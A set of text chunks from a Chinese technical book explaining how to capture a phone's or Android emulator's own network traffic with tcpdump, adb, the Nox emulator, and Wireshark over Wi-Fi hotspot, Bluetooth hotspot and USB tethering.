    {"text": "未知 3.2.2 捕获数据包 经过前面的操作，模拟器环境已经配置好，接下来便可以捕获该模拟器上的数据包了。下面介绍使用Tcpdump在模拟器上捕获数据包的方法。 Tcpdump是一款非常强大的命令行数据包抓包工具。用户通过在模拟器上安装该工具，即可捕获模拟器上的数据包。其中，该工具的语法格式如下： tcpdump <options> <expression> Tcpdump命令常用的选项及含义如下： ·-a：将网络地址和广播地址转换成名字。 ·-c：在收到指定的包的数目后，停止Tcpdump程序。 ·-d：将匹配信息包的代码以人类可读的格式输出。 ·-dd：将匹配信息包的代码以C语言程序段的格式输出。 ·-ddd：将匹配信息包的代码以十进制的形式输出。 ·-e：在输出行打印出数据链路层的头部信息。 ·-f：将IPv4地址以数字的形式打印出来。 ·-F：从指定的文件中读取表达式，忽略其他的表达式。 ·-i interface：指定监听的网络接口。如果不指定接口的话，Tcpdump将在系统的接口清单中寻找号码最小，并且已经配置好的接口（loopback除外）。在Linux系统内核为2.2或更新的内核中，可以指定接口为any以捕获所有接口的包。注意，在any接口上捕获包时，不能开启混杂模式。 ·-l：使标准输出变为缓冲行形式。 ·-n：不把网络地址转换成名字。 ·-p：关闭接口的混杂模式。 ·-r：从指定的文件中读取包。 ·-s：从每个报文中截取snaplen字节的数据，而不是默认的65535个字节。 ·-t：在输出的每一行不显示时间戳。 ·-v：输出详细的报文信息。 ·-w：指定捕获包的文件名。 Tcpdump工具还可以使用表达式过滤捕获的数据包。这里的表达式是一个正则表达式，Tcpdump可以利用它作为过滤报文的条件。如果一个报文满足表达式的条件，则该报文将会被捕获。如果没有给出任何条件，则捕获网络上所有的数据包。在表达式中一般包括以下几种类型的关键字。 1.关于类型的关键字 关于类型的关键字主要包括host、net和port。这3个关键字的区别如下： ·host 192.168.1.100：表示仅捕获主机IPv4地址为192.168.1.100的数据包。 ·net 192.168.1.0：表示捕获192.168.1.0网络内主机的数据包。 ·port 23：表示仅捕获端口为23的数据包。 如果没有指定类型，默认为host类型。 2.确定传输方向的关键字 传输方向的关键字主要包括src、dst、dst or src、dst and src等，这些关键字指明了传输的方向。 ·src 192.168.1.1：表示仅捕获源地址为192.168.1.1的数据包。 ·dst 192.168.2.100：表示仅捕获目标地址为192.168.2.100的数据包。 ·dst or src 192.168.1.10：表示捕获源或目标地址为192.168.1.10的数据包。 ·dst net 192.168.1.0：表示捕获网络地址是192.168.1.0的数据包。 如果没有指明方向关键字，则默认是src or dst关键字。 3.协议的关键字 协议的关键字主要包括ip、arp、rarp、tcp和udp等。如果没有指定任何协议，则Tcpdump将会监听所有协议的数据包。 除了以上3种类型的关键字外，还有一些其他的关键字，如gateway、broadcast、less、greater及3种逻辑运算符（非运算'not'或'!'、与运算'and'或'&&'、或运算'or'或'||'）。 提示： 如果需要使用关键字时，将使用的关键字写在tcpdump命令后就可以了。例如，指定TCP关键字，则执行的命令如下： C:\\Users\\Administrator>adb shell /data/local/tmp/tcpdump tcp 【实例3-9】 使用Tcpdump工具在模拟器上抓包。具体操作步骤如下： （1）下载Tcpdump，并上传到模拟器。其中，Tcpdump的下载地址为 http://www.strazzere.com/Android/tcpdump 。 （2）启用root权限。执行命令如下： C:\\Users\\Administrator>adb root （3）使用adb push命令将该工具上传到模拟器。执行命令如下： C:\\Users\\Administrator>adb push tcpdump /data/local tcpdump: 1 file pushed. 3.0 MB/s (645840 bytes in 0.205s) 看到以上输出信息，则表示Tcpdump工具成功上传到模拟器。 （4）使用adb shell命令进入模拟器环境，并修改Tcpdump的执行权限。执行命令如下： C:\\Users\\Administrator>adb shell generic_arm64:/ # cd /data/local/ generic_arm64:/data/local # chmod 777 tcpdump （5）开始捕获数据包。执行命令如下： generic_arm64:/data/local # tcpdump -p -vv -s 0 -w test.pcap tcpdump: listening on wlan0, link-type EN10MB (Ethernet), capture size 262144 bytes Got 77 看到以上输出信息，则表示正在捕获数据包。当捕获一定数据包后，按Ctrl+C组合键停止捕获。接下来将捕获文件复制到本地，即可进行分析。此时，输入exit命令退出Shell，执行命令如下： generic_arm64:/data/local # exit C:\\Users\\Administrator> （6）将捕获文件复制到本地，以方便进行分析。执行命令如下： C:\\Users\\Administrator>adb pull /data/local/test.pcap /data/local/test.pcap: 1 file pulled. 0.1 MB/s (29275 bytes in 0.235s) 看到以上输出信息，则表示成功将模拟器中的文件下载到了本地。此时，用户可以使用图形界面的数据包分析工具Wireshark来对数据包进行分析，如图3.68所示。 图3.68 使用Wireshark打开捕获文件test.pcap （7）从图3.68中可以看到捕获文件中的所有数据包，接下来即可对这些包进行分析。"},
    {"text": "未知 3.3 夜神模拟器 夜神模拟器是一款手游模拟器。本节介绍使用夜神模拟器捕获数据包的方法。 未知 3.3.1 安装夜神模拟器 在使用夜神模拟器之前，需要先进行安装。在安装该模拟器之前，需要先了解Windows系统下的最低系统要求及建议配置，如表3.1所示。 表3.1 夜神模拟器最低系统要求 【实例3-10】 在Windows 10中安装夜神模拟器。具体操作步骤如下： （1）下载夜神模拟器。其官网下载地址为 https://www.yeshen.com/ 。当成功访问该地址后，将显示如图3.69所示的页面。 图3.69 夜神模拟器下载页面 （2）单击“立即下载”按钮，即可下载夜神模拟器。下载完成后双击夜神模拟器安装包，将弹出安装界面，如图3.70所示。 （3）在安装界面中用户可以自定义安装位置。如果不需要设置的话，直接单击“立即安装”按钮即可。如果想要自定义安装位置，则单击“自定义安装”选项，将显示自定义信息，如图3.71所示。 图3.70 安装界面 图3.71 自定义安装 （4）从自定义安装界面中可以看到，这里可以指定安装位置、设置创建桌面快捷方式、添加到快捷栏和开机自动启动。如果用户要在该模拟器中安装游戏的话，将占用很大的磁盘空间，所以不建议安装到C盘。设置完成后，单击“立即安装”按钮，将开始安装。安装完成后，显示界面如图3.72所示。 图3.72 安装完成 （5）从图3.72中可以看到，夜神模拟器已安装完成。单击“安装完成”按钮，即可启动该模拟器，如图3.73所示。 图3.73 夜神模拟器界面 （6）从图3.73中可以看到默认安装的一些程序及游戏，如微信、空之轨迹、星子特权等。用户还可以在搜索栏中搜索安装其他的大型手游。接下来，便可以在夜神模拟器上进行抓包了。 未知 3.3.2 开始抓包 当在系统中成功安装夜神模拟器后，便可以使用该模拟器来捕获数据包。这里同样使用Tcpdump工具来捕获数据包。由于Tcpdump是一个命令行工具，所以需要安装一个超级终端，用来执行命令行工具。用户可以将前面下载的Tcpdump工具复制到夜神模拟器中，或者通过安装一个Android命令集工具BusyBox来提供Tcpdump工具。下面介绍具体的操作方法。 1.安装及启动超级终端和BusyBox工具 在夜神模拟器中安装App的方法非常简单，用户只需要将下载的APK包拖到模拟器窗口，即可自动解析并安装该软件。其中，超级终端和BusyBox工具，可以到一些Android应用商店获取，如应用宝、360手机助手等。然后将下载好的APK包拖放到模拟器界面中，即可安装成功，如图3.74所示。 图3.74 安装的程序 从图3.74中可以看到，成功安装了终端模拟器和BusyBox程序。此时，单击想要运行的程序，即可成功启动。 【实例3-11】 启动超级终端模拟器。具体操作步骤如下： （1）打开终端模拟器，将显示如图3.75所示的界面。 图3.75 终端模拟器 （2）看到图3.75所示的界面，则表示成功启动了终端模拟器。命令行中的美元符号（$）表示当前登录的用户为普通用户。通常很多操作都需要root权限，所以需要切换到root用户，方法是执行su命令即可。执行su命令后，将弹出“超级用户请求”对话框，如图3.76所示。 图3.76 “超级用户请求”对话框 （3）选中“永久记住选择”单选按钮，并单击“允许”按钮，即可成功切换到root用户，如图3.77所示。从图中可以看到，命令行提示符由“$”变为“#”。由此可以说明，已成功切换为root用户。 图3.77 成功切换到root用户 【实例3-12】 启动BusyBox工具。具体操作步骤如下： （1）启动BusyBox工具，将弹出“超级用户请求”对话框，如图3.78所示。 图3.78 “超级用户请求”对话框 （2）选中“永久记住选择”单选按钮，并单击“允许”按钮，将显示BusyBox欢迎界面，如图3.79所示。 （3）单击右上角的“关闭”按钮 ，将显示BusyBox工具集主界面，如图3.80所示。 （4）从图3.80中可以看到BusyBox v1.22.1工具已经安装，默认安装在/system/xbin目录中。此时，用户可以升级到1.28.1版本。单击Install按钮，将开始升级BusyBox工具。安装成功后，将显示如图3.81所示的界面。为了能够第一时间使用到最新版的工具，用户可以选中Auto Update Busybox复选框，以后将自动更新。 图3.79 BusyBox欢迎界面 图3.80 BusyBox主界面 （5）单击图3.81右上角的关闭按钮 ，将看到BusyBox工具已成功升级到最新版v1.28.1，如图3.82所示。 图3.81 安装成功 图3.82 BusyBox升级成功 接下来就可以使用该工具集中的Tcpdump来抓包了。 2.实施抓包 当将抓包环境配置好后，即可开始抓包。具体操作步骤如下： （1）启动终端模拟器，并切换到root用户，如图3.83所示。 图3.83 终端模拟器 （2）使用Tcpdump工具捕获数据包，并指定保存到/data/local/dump.pcap文件中。执行命令如下： /system/xbin/tcpdump -p -vv -s 0 -w /data/local/dump.pcap 执行以上命令后，效果如图3.84所示。 图3.84 正在捕获数据包 （3）看到以上输出信息，则表示正在捕获数据包。此时，在模拟器上运行想要捕获包的程序，即可捕获对应的数据包。当捕获一定数量的数据包后，按Ctrl+C组合键停止捕获。"},
    {"text": "未知 3.3.3 复制捕获文件到本地 为了方便对数据包进行分析，用户可以将模拟器中的捕获文件复制到本地。夜神模拟器提供了一个文件中转站功能，用来共享本地和安卓模拟器文件。用户可以通过该功能，将安卓模拟器中的文件共享到本地进行查看。下面介绍复制捕获文件到本地的方法。 在操作文件之前，首先需要查看下默认的共享文件夹位置，否则不知道将文件移动到哪个目录下。在夜神模拟器主界面的右侧栏中单击“文件中转站”按钮 ，将显示“共享文件夹”对话框，如图3.85所示。 图3.85 “共享文件夹”对话框 从“共享文件夹”对话框中可以看到，如果想要将本地文件上传到模拟器中，只需要将本地文件拖曳到模拟器界面，即可将其传输到安卓端；默认“电脑共享路径”为C:\\Users\\Administrator\\Nox_share\\ImageShare；“安卓共享路径”为/sdcard/Pictures。所以，本地上传到模拟器的文件将默认保存到/sdcard/Pictures目录下。如果想要从模拟器上下载文件到本地计算机上，则下载的文件默认保存在C:\\Users\\Administrator\\Nox_share\\ImageShare目录下。如果不想使用默认的计算机共享路径的话，可以单击“修改”按钮修改其文件路径。 提示： 在C:\\Users\\Administrator\\Nox_share\\目录下有3个共享文件夹，分别是AppShare（共享App文件）、ImageShare（共享图片）和OtherShare（其他文件）。用户可以根据文件类型，选择复制到对应的目录下。 【实例3-13】 将捕获的文件复制并粘贴到本地的OtherShare文件夹下。具体操作步骤如下： （1）打开安卓文件管理器，进入捕获文件所在的位置，即/data/local，如图3.86所示。 （2）从图3.86可以看到捕获文件dump.pcap。选择该文件并切换到/mnt/shared目录下，即可看到共享的3个文件夹，如图3.87所示。 图3.86 捕获文件所在的位置 图3.87 共享目录 （3）可以看到，有三个共享目录，分别为App、Image和Other。此时，用户需要选择捕获文件粘贴的位置，这里将其粘贴到Other目录下。进入Other目录，将显示如图3.88所示的界面。 图3.88 Other目录 （4）单击右上角的按钮 ，将弹出“操作”对话框，如图3.89所示。 图3.89 “操作”对话框 （5）选择“粘贴选择项”命令，即可将捕获文件复制并粘贴到该位置，如图3.90所示。 （6）之后，用户到本地的C:\\Users\\Administrator\\Nox_share\\OtherShare目录下即可看到复制的捕获文件，如图3.91所示。 （7）此时，用户同样可以使用Wireshark工具来分析该捕获文件中的数据包。 图3.90 复制的文件 图3.91 复制的捕获文件 未知 第4章 外部抓包 外部抓包就是在手机设备向外传输数据的路径上实施抓包。用户可以为手机构建Wi-Fi热点、蓝牙热点、USB网络共享等多种传输通道。当手机利用这些通道传输数据时，就可以使用Wireshark工具捕获对应的数据。如果手机应用强制使用移动数据通道传输数据，则无法对其抓包。本章介绍外部抓包的多种方法。 未知 4.1 Wi-Fi热点抓包 Windows 10操作系统自带了移动热点功能，可以实现Wi-Fi和蓝牙热点共享网络。用户可以利用计算机的无线网卡创建Wi-Fi热点，供手机连接和数据传输。这种方式适合该无线网卡处于空闲的情况，Android和苹果手机都可以连接Wi-Fi热点进行数据传输。本节介绍使用Wi-Fi热点功能抓包的方法。"},
    {"text": "未知 4.1.1 启动Wi-Fi热点 移动热点功能默认是关闭的，用户需要启动该功能。同时，用户还需要连接一个无线网卡，将其作为提供热点信号的设备。下面介绍启动Wi-Fi热点的方法。 【实例4-1】 在笔记本电脑中，启动Wi-Fi热点功能，并将手机连接到网络。具体操作步骤如下： （1）单击桌面左下方的“开始”按钮，在“开始”菜单中单击“设置”按钮 （如图4.1所示），将显示“Windows设置”界面（如图4.2所示）。 （2）单击“网络和Internet”选项，将显示“网络和Internet”设置界面，如图4.3所示。 图4.1 “开始”菜单 图4.2 “Windows设置”界面 图4.3 “网络和Internet”设置界面 （3）在左侧栏中单击“移动热点”选项，将显示“移动热点”设置界面，如图4.4所示。 图4.4 “移动热点”设置界面 （4）从“移动热点”设置界面中可以看到，移动热点处于关闭状态。在“通过以下各项共享我的Internet连接”选项栏中选中WLAN单选按钮，并单击“移动热点”下的 按钮启动Wi-Fi热点，如图4.5所示。 图4.5 Wi-Fi热点启动成功 （5）从图4.5中可以看到，已成功启动Wi-Fi热点，而且默认共享的网络名称为KDK-DAHJD61Y369J 9448，密码为454Ls7$3。用户也可以修改网络名称和密码。单击“编辑”按钮，将显示“编辑网络信息”对话框，如图4.6所示。 图4.6 “编辑网络信息”对话框 （6）此时，可修改网络名称和网络密码，修改完成后单击“保存”按钮即可。接下来，在手机上打开WLAN，即可找到名称为KDKDAHJD61Y369J 9448的无线信号，如图4.7所示。 （7）输入密码454Ls7$3，并单击“连接”按钮，即可成功连接到计算机共享网络，如图4.8所示。 图4.7 连接到无线网络 图4.8 无线网络信息 （8）从无线网络信息界面可以看到获取的无线网络信息。其中，获取的IP地址为192.168.137.36。此时，用户在“移动热点”设置界面也可以看到连接的设备信息，如图4.9所示。从“移动热点”设置界面可以看到有一台设备连接到了该网络。 图4.9 连接的设备 由于大部分台式机默认没有无线网卡，所以如果要在台式机中使用Wi-Fi热点，则需要接入一块USB接口的无线网卡。在“网络和Internet”设置界面单击“移动热点”选项后将显示如图4.10所示的界面。 图4.10 “移动热点”界面 单击“移动热点”下的 按钮，即可启动Wi-Fi热点，如图4.11所示。 图4.11 Wi-Fi热点启动成功 从图4.11中可以看到，已成功启动Wi-Fi热点。接下来，在手机上即可连接该Wi-Fi热点共享网络。 未知 4.1.2 捕获数据包 当成功启动热点，并将手机连接到其共享网络后，即可使用Wireshark指定该共享网络的接口，从而捕获目标手机的数据包。下面介绍捕获数据包的方法。 【实例4-2】 使用Wireshark捕获共享网络数据包。具体操作步骤如下： （1）确认移动热点共享网络接口。在控制面板中选择“网络和共享中心”选项，打开“网络和共享中心”界面，如图4.12所示。 图4.12 网络和共享中心 （2）从“网络和共享中心”界面中可以看到当前所有的活动网络。从网络接口信息中可以看到，移动热点共享网络接口名为“本地连接*13”。接下来启动Wireshark，将显示如图4.13所示的界面。 （3）选择网络接口“本地连接*13”，并单击“开始捕获”按钮 ，将开始捕获数据包，如图4.14所示。从图中的Source或Destination列可以看到，成功捕获目标手机（192.168.137.36）的数据包。 图4.13 Wireshark启动界面 图4.14 正在捕获数据包 未知 1.2 网络基础 当用户对手机抓包的概念了解清楚后，则可以准备捕获数据包。为了尽可能地捕获有用的数据包，本节介绍手机的网络连接方式、数据传输方式及捕获方式等内容。下面首先介绍网络基础知识。 未知 4.2 蓝牙热点抓包 Windows 10系统支持蓝牙热点共享网络。用户通过蓝牙配对后，并开启蓝牙移动热点，即可允许将手机借助计算机的蓝牙访问网络。如果计算机使用无线网卡联网，并且没有多余网卡可用，就可以使用这种方式抓包。Android和苹果手机都可以利用蓝牙热点连接网络。本节介绍使用蓝牙热点抓包的方法。 未知 4.2.1 启动蓝牙功能 如果要使用蓝牙功能，则需要先启动蓝牙功能。在Windows 10系统中，单击“开始”按钮 ，并在弹出的菜单中单击“设置”按钮，将打开“Windows设置”界面，如图4.15所示。 图4.15 “Windows设置”界面 单击“设备”选项，将显示“蓝牙和其他设备”界面，如图4.16所示。 从“蓝牙和其他设备”界面中可以看到，蓝牙状态显示为开，即已启用蓝牙功能，并且当前设备名为DESKTOP-1GD69T2。接下来，即可使用其他蓝牙设备与该计算机进行蓝牙配对。 图4.16 “蓝牙和其他设备”界面"},
    {"text": "未知 4.2.2 蓝牙配对 当将计算机中的蓝牙功能开启后，便可以使用手机进行蓝牙配对。下面介绍具体的配对方法。 【实例4-3】 将手机与计算机进行蓝牙配对。具体操作步骤如下： （1）在手机上开启蓝牙功能。在手机上启动“设置”程序，并单击“蓝牙”选项，如图4.17所示。 （2）打开“蓝牙”界面，可以看到当前设备的蓝牙功能还没有启动，如图4.18所示。 图4.17 “设置”界面 图4.18 “蓝牙”界面 （3）单击按钮 ，将启动蓝牙，并自动搜索附近的蓝牙设备，如图4.19所示。 图4.19 搜索蓝牙设备 （4）从“蓝牙”界面的“其他设备”栏中可以看到，搜索到一个名为DESKTOP-1GD69T2的蓝牙设备，即已搜索到计算机的蓝牙模块。接下来，在计算机上设置进行蓝牙配对。在控制面板中选择“网络和共享中心”选项，打开“网络和共享中心”界面，如图4.20所示。 （5）单击“更改适配器设置”选项，打开“网络连接”界面，如图4.21所示。 （6）从“网络连接”界面中可以看到有一个“蓝牙网络连接”选项，右击该选项，将弹出一个快捷菜单，如图4.22所示。 图4.20 网络和共享中心 图4.21 “网络连接”界面 （7）在图4.22中选择“查看蓝牙网络设备”命令，将显示“蓝牙个人区域网设备”界面，如图4.23所示。 图4.22 快捷菜单 图4.23 “蓝牙个人区域网设备”界面 （8）从“蓝牙个人区域网设备”界面可以看到，目前还没有配对的蓝牙设备。单击“添加设备”选项，将开始搜索蓝牙设备，如图4.24所示。 图4.24 搜索到的蓝牙设备 （9）从图4.24中可以看到，搜索到一个名为vivo Y85的蓝牙设备。选择该设备，并单击“下一步”按钮，将显示“比较密码”界面，如图4.25所示。从图中可以看到显示了一个匹配密码。此时，手机上也将弹出一个蓝牙配对请求，如图4.26所示。 图4.25 “比较密码”界面 图4.26 蓝牙配对请求 （10）从图4.26中可以看到，当前请求配对的密钥与计算机上的密钥相同。单击“配对”按钮，并在计算机上单击“是”按钮，将开始配对，如图4.27所示。 图4.27 正在配对 （11）从该界面可以看到，正在目标设备上安装必要的文件。此时，手机上将弹出一个蓝牙请求访问对话框，如图4.28所示。 （12）单击“确定”按钮，即可在手机上安装必要文件。安装成功后，将看到设备已配对成功，如图4.29所示。 图4.28 蓝牙请求访问对话框 图4.29 配对成功 未知 4.2.3 开启蓝牙移动热点 当蓝牙设备配对成功后，即可开启蓝牙移动热点，然后便可将手机连接到该共享网络。下面介绍具体的实现方法。 【实例4-4】 启动蓝牙移动热点。具体操作步骤如下： （1）在计算机中依次选择“设置”|“网络和Internet”|“移动热点”选项，将显示“移动热点”界面，如图4.30所示。 图4.30 “移动热点”界面 （2）从“移动热点”界面可以看到，移动热点状态为关。单击 按钮启动移动热点，并在“通过以下各项共享我的Internet连接”选项栏中选中“蓝牙”单选按钮，如图4.31所示。 图4.31 蓝牙移动热点启动成功 此时，则表示蓝牙移动热点已成功启动。从该界面中可以看到，目前连接的设备为0，总共可以连接7台设备。接下来便可以将设备连接到蓝牙移动热点。 未知 4.2.4 连接蓝牙网络 当将设备配对成功，并且启动蓝牙热点后，便可以连接到其网络。下面介绍连接蓝牙网络的具体方法。 【实例4-5】 连接蓝牙网络。具体操作步骤如下： （1）在计算机中将配对的设备连接到网络。在“蓝牙个人区域网设备”界面选择配对的蓝牙设备，并在菜单栏依次选择“连接时使用”|“接入点”命令，如图4.32所示。 （2）选择“接入点”命令后，将开始连接蓝牙网络。连接成功后，显示连接成功界面，如图4.33所示。 （3）从图4.33中可以看到，蓝牙网络连接成功。接下来还需要在手机上设置，并连接蓝牙网络。在手机上打开“蓝牙”界面，即可看到配对的设备，如图4.34所示。 图4.32 连接蓝牙网络 （4）从图4.34中可以看到所有配对设备，其中名为DESKTOP-1GD69T2的设备便是本例中的计算机。但是目前还没有连接成功。如果要连接设备，还需要进行简单设置。单击该设备的设置按钮 ，将显示该设备的详细信息，如图4.35所示。 图4.33 连接成功 图4.34 配对的设备 图4.35 启动访问网络 （5）从图4.35中可以看到，配置服务包括通话音频和访问网络。此时，单击“访问网络”选项的 按钮，启动访问网络功能，如图4.36所示。此时，即可成功连接到网络，如图4.37所示。 图4.36 启动访问网络 图4.37 连接到网络 从图4.37中可以看到，名为DESKTOP-1GD69T2的设备状态为已连接。此时，在“移动热点”界面，即可看到连接的蓝牙设备，如图4.38所示。 图4.38 连接成功 从“移动热点”界面可以看到，有一台设备已经连接到该蓝牙移动热点。其中，该设备名为vivo Y85、IP地址为192.168.138.124、MAC地址为20:f7:7c:cf:0d:58。此时，在“网络连接”界面，也可以看到蓝牙网络已经连接，如图4.39所示。 图4.39 蓝牙网络连接成功 从图4.39中可以看到，蓝牙网络已成功连接到vivo Y85。接下来，就可以捕获手机上的数据包了。"},
    {"text": "未知 4.2.5 捕获数据包 经过前面的一系列设置，手机成功连接到蓝牙移动热点。接下来在Wireshark中选择蓝牙网络接口，即可开始捕获数据包。具体操作步骤如下： （1）启动Wireshark，将显示Wireshark的启动界面，如图4.40所示。 图4.40 Wireshark启动界面 （2）双击“蓝牙网络连接”接口，或者选择“蓝牙网络连接”接口，然后单击工具栏的“开始捕获”按钮 ，将开始捕获数据包，如图4.41所示。 图4.41 正在捕获数据包 （3）从图4.41中可以看到，正在捕获蓝牙网络接口的数据包。如果不想要再捕获的话，单击“停止捕获”按钮 ，即可停止捕获。 未知 4.3 USB网络抓包 如果用户没有多余的无线网卡或者蓝牙设备，则可以通过USB数据线，为手机共享网络连接，这样也可以抓取手机传输的网络数据。这种方式只适合Android手机，不适合苹果手机。本节介绍如何通过USB进行数据传输。"},
    {"text": "而且不同的Android设备，打开的方法也不同。 例如，一些Android设备的打开方式为“设置”|“无线和网络”|“更多”|“网络共享与便携式热点”|“USB共享网络”； 一些Android设备的打开方式为“设置”|“其他无线连接”等。"},
    {"text": "首先，将Android设备通过USB数据线连接到计算机，然后在Android设备上依次打开“设置”|“其他无线连接”，将显示“其他无线连接”界面，如图4.42所示。 （2）从“其他无线连接”界面可以看到“USB共享网络”功能，默认没有开启。 此时，单击 按钮，将启动USB共享网络功能，如图4.43所示。 图4.42 其他无线连接 图4.43 启动USB共享网络 （3）当启动USB共享网络功能后，本地计算机中将会出现一个虚拟网卡。 右击桌面上的“网络”图标，选择“属性”命令，打开“网络和共享中心”界面，如图4.44所示。 （4）单击“更改适配器设置”选项，即可看到USB共享网络的虚拟网卡，如图4.45所示。"},
    {"text": "为了便于分辨，这里将该网卡重命名为Android，如图4.46所示。 图4.44 网络和共享中心 图4.45 虚拟网卡 图4.46 重命名虚拟网卡 （6）接下来将计算机的网络共享给Android网卡。"},
    {"text": "图4.47 “以太网属性”对话框 图4.48 “共享”选项卡 （8）选中“允许其他网络用户通过此计算机的Internet连接来连接（N）”复选框，并在“家庭网络连接（H）”下拉列表中选择Android网卡，然后单击“确定”按钮。"},
    {"text": "在超级终端执行命令如下： busybox ifconfig lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:655187 errors:0 dropped:0 overruns:0 frame:0 TX packets:655187 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1423953276 (1.3 GiB) TX bytes:1423953276 (1.3 GiB) p2p0 Link encap:Ethernet HWaddr 1E:77:F6:60:F2:CC UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) rmnet_ipa Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00- 00-00-00-00 UP RUNNING MTU:2000 Metric:1 RX packets:16460 errors:0 dropped:0 overruns:0 frame:0 TX packets:32937 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:16796909 (16.0 MiB) TX bytes:11198528 (10.6 MiB) rndis0 Link encap:Ethernet HWaddr 32:82:73:53:8D:34 inet addr:192.168.42.129 Bcast:192.168.42.255 Mask:255.255.255.0 inet6 addr: fe80::3082:73ff:fe53:8d34/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:411 errors:0 dropped:4 overruns:0 frame:0 TX packets:81 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:72868 (71.1 KiB) TX bytes:10141 (9.9 KiB) wlan0 Link encap:Ethernet HWaddr 1C:77:F6:60:F2:CC UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:3397405 errors:0 dropped:1699 overruns:0 frame:0 TX packets:2491745 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:3973669224 (3.7 GiB) TX bytes:334155986 (318.6 MiB) 从输出的信息中可以看到该Android设备中所有网络接口的配置信息。"},
    {"text": "接下来，将计算机上Android网卡的IP地址修改为192.168.42.1，并设置DNS服务器地址为8.8.8.8。 （10）右击Android网卡，并选择“属性”命令，打开“Android属性”对话框，如图4.50所示。 （11）选择“Internet协议版本4（TCP/IPv4）”选项，然后单击“属性”按钮，打开“Internet协议版本4（TCP/IPv4）属性”对话框，如图4.51所示。 图4.50 “Android属性”对话框 图4.51 “Internet协议版本4（TCP/IPv4）属性”对话框 （12）在图4.51中选中“使用下面的IP地址（S）”单选按钮，并指定IP地址为192.168.42.1、子网掩码为255.255.255.0、首选DNS服务器地址为8.8.8.8，然后单击“确定”按钮，则IP地址配置成功。 接下来，还需要在Android设备上添加一条默认网关，Android设备才能访问互联网。"},
    {"text": "未知 4.3.2 USB互连网 USB互连网功能就是通过USB数据线共享Windows PC网络的。在一些Android设备中，单独提供了该功能。下面通过USB互连网功能来连接到计算机的共享网络。具体操作步骤如下： （1）将USB数据线连接到计算机，然后在Android设备上依次单击“设置”|“无线和网络”|“更多”选项，显示“无线和网络”设置界面，如图4.52所示。 图4.52 “无线和网络”设置界面 （2）在“无线和网络”设置界面选择“USB互连网”选项，将显示“USB互连网”界面，要求选择计算机系统的版本，如图4.53所示。 图4.53 选择计算机系统的版本 （3）根据自己的计算机系统版本进行选择。这里默认支持的系统版本有Windows XP、Windows Vista、Windows 7和Windows 8，没有Windows10系统版本，所以选择最新的版本Windows 8，并单击“下一步”按钮，将显示如图4.54所示的界面。 （4）图4.54所示的界面给出了通过USB连接到互联网的具体步骤。单击“完成”按钮后，USB互连网功能就成功启动了，如图4.55所示。 图4.54 USB互联网 图4.55 USB互连网已连接 （5）从图4.55可以看到，USB互连网的状态为“已连接”，并且右侧的复选框为选中状态。此时，同样将会在本地计算机上出现一个虚拟网卡，为了方便识别，这里将该虚拟网卡重命名为USB，如图4.56所示。 （6）接下来将以太网网络共享给USB网卡。右击“以太网”选项，选择“属性”命令，打开“以太网属性”对话框，如图4.57所示。 （7）选择“共享”选项卡，将显示共享设置选项，如图4.58所示。 图4.56 新添加的虚拟网卡 图4.57 “以太网属性”对话框 图4.58 “共享”选项卡 （8）选中“允许其他网络用户通过此计算机的Internet连接来连接”复选框，并在“家庭网络连接”下拉列表中选择USB网卡，然后单击“确定”按钮，共享网络设置成功。接下来还需要配置IP地址，使Android设备与USB网卡处于同一网段。首先需要查看Android设备的IP地址，执行命令如下： C:\\Users\\Administrator>adb shell busybox ifconfig lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:8323 errors:0 dropped:0 overruns:0 frame:0 TX packets:8323 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:732815 (715.6 KiB) TX bytes:732815 (715.6 KiB) rndis0 Link encap:Ethernet HWaddr D6:89:00:87:89:62 inet addr:192.168.137.100 Bcast:192.168.137.255 Mask:255.255. 255.0 inet6 addr: fe80::d489:ff:fe87:8962/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:449 errors:0 dropped:4 overruns:0 frame:0 TX packets:645 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:53408 (52.1 KiB) TX bytes:55638 (54.3 KiB) wlan0 Link encap:Ethernet HWaddr 00:08:22:57:A7:9A UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:34752 errors:0 dropped:0 overruns:0 frame:0 TX packets:19129 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:43477355 (41.4 MiB) TX bytes:2374502 (2.2 MiB) 从输出的信息中可以看到，当前设备中所有接口的配置信息。其中，USB网络接口rndis0的IP地址为192.168.137.100。接下来设置USB网卡的IP地址。 （9）右击“USB”网卡，选择“属性”命令，将显示“USB属性”对话框，如图4.59所示。 （10）选择“Internet协议版本4(TCP/IPv4)”选项，单击“属性”按钮，将显示“Internet协议版本4(TCP/IPv4)属性”对话框，如图4.60所示。 图4.59 “USB属性”对话框 图4.60 “Internet协议版本4(TCP/IPv4)属性”对话框 （11）选中“使用下面的IP地址”单选按钮，并设置IP地址为192.168.137.1、子网掩码为255.255.255.0、首选DNS服务器为8.8.8.8，然后单击“确定”按钮，IP地址设置完成。此时，Android设备就可以访问互联网了。 未知 4.3.3 捕获USB接口数据包 当将Android设备通过USB数据线连接到互联网后，即可在本地计算机捕获数据包。下面捕获USB网络数据包，具体操作步骤如下： （1）启动Wireshark，将显示如图4.61所示的界面。 图4.61 Wireshark启动界面 （2）在捕获列表中选择USB接口，并单击“开始捕获”按钮 ，将开始捕获USB网络数据包，如图4.62所示。 图4.62 正在捕获数据包 